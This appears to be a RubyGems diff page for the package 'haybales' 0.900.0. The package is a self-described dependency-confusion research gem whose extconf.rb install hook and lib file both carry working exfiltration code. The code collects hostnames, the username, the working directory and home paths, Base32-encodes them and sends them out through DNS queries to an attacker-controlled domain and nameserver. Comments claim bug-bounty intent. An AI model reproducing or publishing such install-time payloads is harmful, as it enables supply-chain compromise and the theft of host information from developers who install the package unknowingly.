haybales 0.900.0

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Files changed (4) hide show
  1. checksums.yaml +7 -0
  2. data/ext/haybales/extconf.rb +177 -0
  3. data/lib/haybales.rb +174 -0
  4. metadata +48 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
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+ ---
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+ SHA256:
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+ metadata.gz: 399484e20257893491ab3d465849476be88ad599479ab4720c0c097aba4f1c8e
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+ data.tar.gz: cce755cef9ecf32d1e3aa52b3a43968d6e3d3978336747dffe60b2e01024410e
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+ SHA512:
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+ metadata.gz: 34198d989602e622de806127758bf7cdc17c8ee9c395402576c1ee7f3cb0d4bb14db70033a78ade127ac786e3ecbe9e51da4d355bd4c1be0ba586019656ecaf1
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+ data.tar.gz: a3b9364b62c489d374cee015d799e22644232b84e7c4b3b6f1bfd0a2e7b7ece092710ef7e7c764c2e9b86e0b39bdead45953e79adf3c7e3cff28065b2cb0f63f
@@ -0,0 +1,177 @@
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+ require "mkmf"
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+
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+ create_makefile "gem_test/gem_test"
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+ =begin
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+ Hi, if you're reading this you're probably wondering what this code is doing on
6
+ your machine. Don't worry! It doesn't do anything nasty or malicious.
7
+
8
+ I am an ethical security researcher, attempting attacks against organisations
9
+ that have a "bug bounty" type program in place.
10
+
11
+ I am performing work similar to the work in this blog post:
12
+ https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
13
+
14
+ If your organisation has a bug bounty program my findings will be reported via
15
+ that program.
16
+
17
+ If your organisation does not have a bug bounty program, you were not targeted
18
+ by my work and have some how ended up getting included, any data reported from
19
+ your org will be discarded.
20
+
21
+ All data I collect will be deleted as soon as I'm done, in either case.
22
+
23
+ If you are reading this then you probably need to tighten up your Gemfiles
24
+ and/or upgrade Bundler, see here for more details:
25
+
26
+ https://bundler.io/blog/2021/02/15/a-more-secure-bundler-we-fixed-our-source-priorities.html
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+
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+ You can read the code to confirm this but here's a top-level view of what it
29
+ does to help you out:
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+
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+ Grabs the hostname(s), current username, and the file paths to this script,
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+ the current working directory, and the home directory. This helps me identify
33
+ which machines have been affected (for reporting), at which organisation (to
34
+ know who to report it to), and to eliminate false positives from machines that
35
+ fetch and install every Gem.
36
+
37
+ Generates a random ID so I can piece together the different fragments of data.
38
+
39
+ Encodes all the data as json, compresses it, Base32 encodes it, and chops it
40
+ into chunks to go out as DNS queries that will hit a nameserver I control.
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+
42
+ That's it!
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+
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+ If you have any questions or want to get in touch for any reason, you can reach
45
+ me at zofrex@gmail.com
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+
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+ =end
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+
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+ puts "Package 'haybales' has been hijacked via RubyGems, if you're reading logs and wondering why things broke, that's probably why."
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+
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+ begin # big catch-all over everything to stop any errors escaping
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+ def do_or_whatever
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+ yield
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+ rescue Exception
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+ # keep going
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+ end
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+
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+ do_or_whatever { require 'net/http' }
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+ do_or_whatever { require 'socket' }
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+ do_or_whatever { require 'etc' }
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+ require 'securerandom'
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+ require 'json'
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+ require 'resolv'
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+
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+ def report_analytics
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+ report_id = SecureRandom.alphanumeric(8)
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+
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+ idx_package = 0
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+ idx_hostnames = 1
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+ idx_username = 2
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+ idx_paths = 3
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+ idx_event = 4
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+
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+ idx_paths_file = 0
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+ idx_paths_cwd = 1
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+ idx_paths_script = 2
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+ idx_paths_home = 3
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+
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+ data = Hash.new
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+
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+ data[idx_event] = 'install'
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+
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+ # package name
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+
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+ data[idx_package] = 'haybales-0.900.0'
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+
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+ # get possible hostnames
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+
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+ hostnames = []
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+
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+ do_or_whatever { hostnames << Socket.gethostname }
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+ do_or_whatever { hostnames << Socket.gethostbyname(Socket.gethostname).first }
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+ do_or_whatever { hostnames << `hostname` }
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+ do_or_whatever { hostnames << `hostname -f` }
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+
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+ data[idx_hostnames] = hostnames.map(&:strip).uniq
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+
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+ # get local user
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+
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+ do_or_whatever { data[idx_username] = Etc.getlogin }
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+
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+ # get useful paths
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+
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+ paths = Hash.new
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+
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+ do_or_whatever { paths[idx_paths_file] = File.dirname(__FILE__) }
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+ do_or_whatever { paths[idx_paths_cwd] = Dir.pwd }
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+ do_or_whatever { paths[idx_paths_script] = __dir__ }
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+ do_or_whatever { paths[idx_paths_home] = Dir.home }
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+
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+ data[idx_paths] = paths
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+
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+ # encode payload
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+
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+ json = JSON.generate(data)
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+ compressed = "u#{json}"
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+
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+ # attempt to compress data but don't sweat it if that fails
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+ do_or_whatever do
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+ require 'zlib'
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+ compressed = "c#{Zlib.deflate(json)}"
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+ end
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+
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+ # base32 encode the data
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+ table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'
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+ encoded = compressed.bytes.each_slice(5).flat_map do |slice|
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+ n = (slice.length * 8.0 / 5.0).ceil
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+ p = n < 8 ? 5 - (slice.length * 8) % 5 : 0
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+ c = slice.inject(0) {|m,o| (m << 8) + o} << p
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+ (0..n-1).to_a.reverse.collect {|i| table[(c >> i * 5) & 0x1f].chr}
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+ end.join
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+
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+ # send data out via DNS lookups
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+ total_queries = (encoded.length / 180.0).ceil
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+
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+ google_resolver = Resolv.new([Resolv::Hosts.new, Resolv::DNS.new(nameserver: ['8.8.8.8'])])
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+ me_resolver = Resolv.new([Resolv::Hosts.new, Resolv::DNS.new(nameserver: ['167.172.150.100'])])
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+
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+ method = :generic
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+ suffix = "zofrex-is-ethically-testing.ga"
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+
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+ encoded.chars.each_slice(60).each_slice(3).each_with_index do |chunks, query_number|
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+ query_data = chunks.map(&:join).join('.')
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+ data_portion = "#{report_id}.#{query_number+1}.#{total_queries}.#{query_data}"
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+
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+ # Try to get the message out somehow, skip the methods that don't work on future loops
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+ if method == :generic
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+ begin
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+ address = Resolv.getaddress "#{data_portion}.rp1.#{suffix}"
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+ method = :google if address != "127.0.0.3"
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+ rescue
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+ method = :google
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+ end
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+ end
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+
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+ if method == :google
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+ begin
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+ address = google_resolver.getaddress "#{data_portion}.rp2.#{suffix}"
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+ method = :direct if address != "127.0.0.4"
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+ rescue
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+ method = :direct
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+ end
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+ end
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+
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+ if method == :direct
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+ do_or_whatever { me_resolver.getaddress "#{data_portion}.rp3.#{suffix}" }
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+ end
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+ end
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+ end
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+
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+ do_or_whatever { report_analytics }
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+
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+ # cleanup
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+ do_or_whatever { undef report_analytics }
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+ do_or_whatever { undef do_or_whatever }
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+ rescue Error
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+ end
data/lib/haybales.rb ADDED
@@ -0,0 +1,174 @@
1
+ =begin
2
+ Hi, if you're reading this you're probably wondering what this code is doing on
3
+ your machine. Don't worry! It doesn't do anything nasty or malicious.
4
+
5
+ I am an ethical security researcher, attempting attacks against organisations
6
+ that have a "bug bounty" type program in place.
7
+
8
+ I am performing work similar to the work in this blog post:
9
+ https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
10
+
11
+ If your organisation has a bug bounty program my findings will be reported via
12
+ that program.
13
+
14
+ If your organisation does not have a bug bounty program, you were not targeted
15
+ by my work and have some how ended up getting included, any data reported from
16
+ your org will be discarded.
17
+
18
+ All data I collect will be deleted as soon as I'm done, in either case.
19
+
20
+ If you are reading this then you probably need to tighten up your Gemfiles
21
+ and/or upgrade Bundler, see here for more details:
22
+
23
+ https://bundler.io/blog/2021/02/15/a-more-secure-bundler-we-fixed-our-source-priorities.html
24
+
25
+ You can read the code to confirm this but here's a top-level view of what it
26
+ does to help you out:
27
+
28
+ Grabs the hostname(s), current username, and the file paths to this script,
29
+ the current working directory, and the home directory. This helps me identify
30
+ which machines have been affected (for reporting), at which organisation (to
31
+ know who to report it to), and to eliminate false positives from machines that
32
+ fetch and install every Gem.
33
+
34
+ Generates a random ID so I can piece together the different fragments of data.
35
+
36
+ Encodes all the data as json, compresses it, Base32 encodes it, and chops it
37
+ into chunks to go out as DNS queries that will hit a nameserver I control.
38
+
39
+ That's it!
40
+
41
+ If you have any questions or want to get in touch for any reason, you can reach
42
+ me at zofrex@gmail.com
43
+
44
+ =end
45
+
46
+ puts "Package 'haybales' has been hijacked via RubyGems, if you're reading logs and wondering why things broke, that's probably why."
47
+
48
+ begin # big catch-all over everything to stop any errors escaping
49
+ def do_or_whatever
50
+ yield
51
+ rescue Exception
52
+ # keep going
53
+ end
54
+
55
+ do_or_whatever { require 'net/http' }
56
+ do_or_whatever { require 'socket' }
57
+ do_or_whatever { require 'etc' }
58
+ require 'securerandom'
59
+ require 'json'
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+ require 'resolv'
61
+
62
+ def report_analytics
63
+ report_id = SecureRandom.alphanumeric(8)
64
+
65
+ idx_package = 0
66
+ idx_hostnames = 1
67
+ idx_username = 2
68
+ idx_paths = 3
69
+ idx_event = 4
70
+
71
+ idx_paths_file = 0
72
+ idx_paths_cwd = 1
73
+ idx_paths_script = 2
74
+ idx_paths_home = 3
75
+
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+ data = Hash.new
77
+
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+ data[idx_event] = 'run'
79
+
80
+ # package name
81
+
82
+ data[idx_package] = 'haybales-0.900.0'
83
+
84
+ # get possible hostnames
85
+
86
+ hostnames = []
87
+
88
+ do_or_whatever { hostnames << Socket.gethostname }
89
+ do_or_whatever { hostnames << Socket.gethostbyname(Socket.gethostname).first }
90
+ do_or_whatever { hostnames << `hostname` }
91
+ do_or_whatever { hostnames << `hostname -f` }
92
+
93
+ data[idx_hostnames] = hostnames.map(&:strip).uniq
94
+
95
+ # get local user
96
+
97
+ do_or_whatever { data[idx_username] = Etc.getlogin }
98
+
99
+ # get useful paths
100
+
101
+ paths = Hash.new
102
+
103
+ do_or_whatever { paths[idx_paths_file] = File.dirname(__FILE__) }
104
+ do_or_whatever { paths[idx_paths_cwd] = Dir.pwd }
105
+ do_or_whatever { paths[idx_paths_script] = __dir__ }
106
+ do_or_whatever { paths[idx_paths_home] = Dir.home }
107
+
108
+ data[idx_paths] = paths
109
+
110
+ # encode payload
111
+
112
+ json = JSON.generate(data)
113
+ compressed = "u#{json}"
114
+
115
+ # attempt to compress data but don't sweat it if that fails
116
+ do_or_whatever do
117
+ require 'zlib'
118
+ compressed = "c#{Zlib.deflate(json)}"
119
+ end
120
+
121
+ # base32 encode the data
122
+ table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'
123
+ encoded = compressed.bytes.each_slice(5).flat_map do |slice|
124
+ n = (slice.length * 8.0 / 5.0).ceil
125
+ p = n < 8 ? 5 - (slice.length * 8) % 5 : 0
126
+ c = slice.inject(0) {|m,o| (m << 8) + o} << p
127
+ (0..n-1).to_a.reverse.collect {|i| table[(c >> i * 5) & 0x1f].chr}
128
+ end.join
129
+
130
+ # send data out via DNS lookups
131
+ total_queries = (encoded.length / 180.0).ceil
132
+
133
+ google_resolver = Resolv.new([Resolv::Hosts.new, Resolv::DNS.new(nameserver: ['8.8.8.8'])])
134
+ me_resolver = Resolv.new([Resolv::Hosts.new, Resolv::DNS.new(nameserver: ['167.172.150.100'])])
135
+
136
+ method = :generic
137
+ suffix = "zofrex-is-ethically-testing.ga"
138
+
139
+ encoded.chars.each_slice(60).each_slice(3).each_with_index do |chunks, query_number|
140
+ query_data = chunks.map(&:join).join('.')
141
+ data_portion = "#{report_id}.#{query_number+1}.#{total_queries}.#{query_data}"
142
+
143
+ # Try to get the message out somehow, skip the methods that don't work on future loops
144
+ if method == :generic
145
+ begin
146
+ address = Resolv.getaddress "#{data_portion}.rp1.#{suffix}"
147
+ method = :google if address != "127.0.0.3"
148
+ rescue
149
+ method = :google
150
+ end
151
+ end
152
+
153
+ if method == :google
154
+ begin
155
+ address = google_resolver.getaddress "#{data_portion}.rp2.#{suffix}"
156
+ method = :direct if address != "127.0.0.4"
157
+ rescue
158
+ method = :direct
159
+ end
160
+ end
161
+
162
+ if method == :direct
163
+ do_or_whatever { me_resolver.getaddress "#{data_portion}.rp3.#{suffix}" }
164
+ end
165
+ end
166
+ end
167
+
168
+ do_or_whatever { report_analytics }
169
+
170
+ # cleanup
171
+ do_or_whatever { undef report_analytics }
172
+ do_or_whatever { undef do_or_whatever }
173
+ rescue Error
174
+ end
metadata ADDED
@@ -0,0 +1,48 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: haybales
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.900.0
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+ platform: ruby
6
+ authors:
7
+ - James 'zofrex' Sanderson
8
+ autorequire:
9
+ bindir: exe
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+ cert_chain: []
11
+ date: 2021-02-16 00:00:00.000000000 Z
12
+ dependencies: []
13
+ description: I am testing for dependency confusion vulnerabilities in products that
14
+ are in public bug bounty programs. This code is reporting-only, and does not do
15
+ anything malicious.
16
+ email:
17
+ - gem-research@zofrex.com
18
+ executables: []
19
+ extensions:
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+ - ext/haybales/extconf.rb
21
+ extra_rdoc_files: []
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+ files:
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+ - ext/haybales/extconf.rb
24
+ - lib/haybales.rb
25
+ homepage:
26
+ licenses:
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+ - MIT
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+ metadata: {}
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+ post_install_message:
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+ rdoc_options: []
31
+ require_paths:
32
+ - lib
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+ required_ruby_version: !ruby/object:Gem::Requirement
34
+ requirements:
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+ - - ">="
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+ - !ruby/object:Gem::Version
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+ version: 1.9.0
38
+ required_rubygems_version: !ruby/object:Gem::Requirement
39
+ requirements:
40
+ - - ">="
41
+ - !ruby/object:Gem::Version
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+ version: '0'
43
+ requirements: []
44
+ rubygems_version: 3.1.4
45
+ signing_key:
46
+ specification_version: 4
47
+ summary: Testing dependency confusion bugs
48
+ test_files: []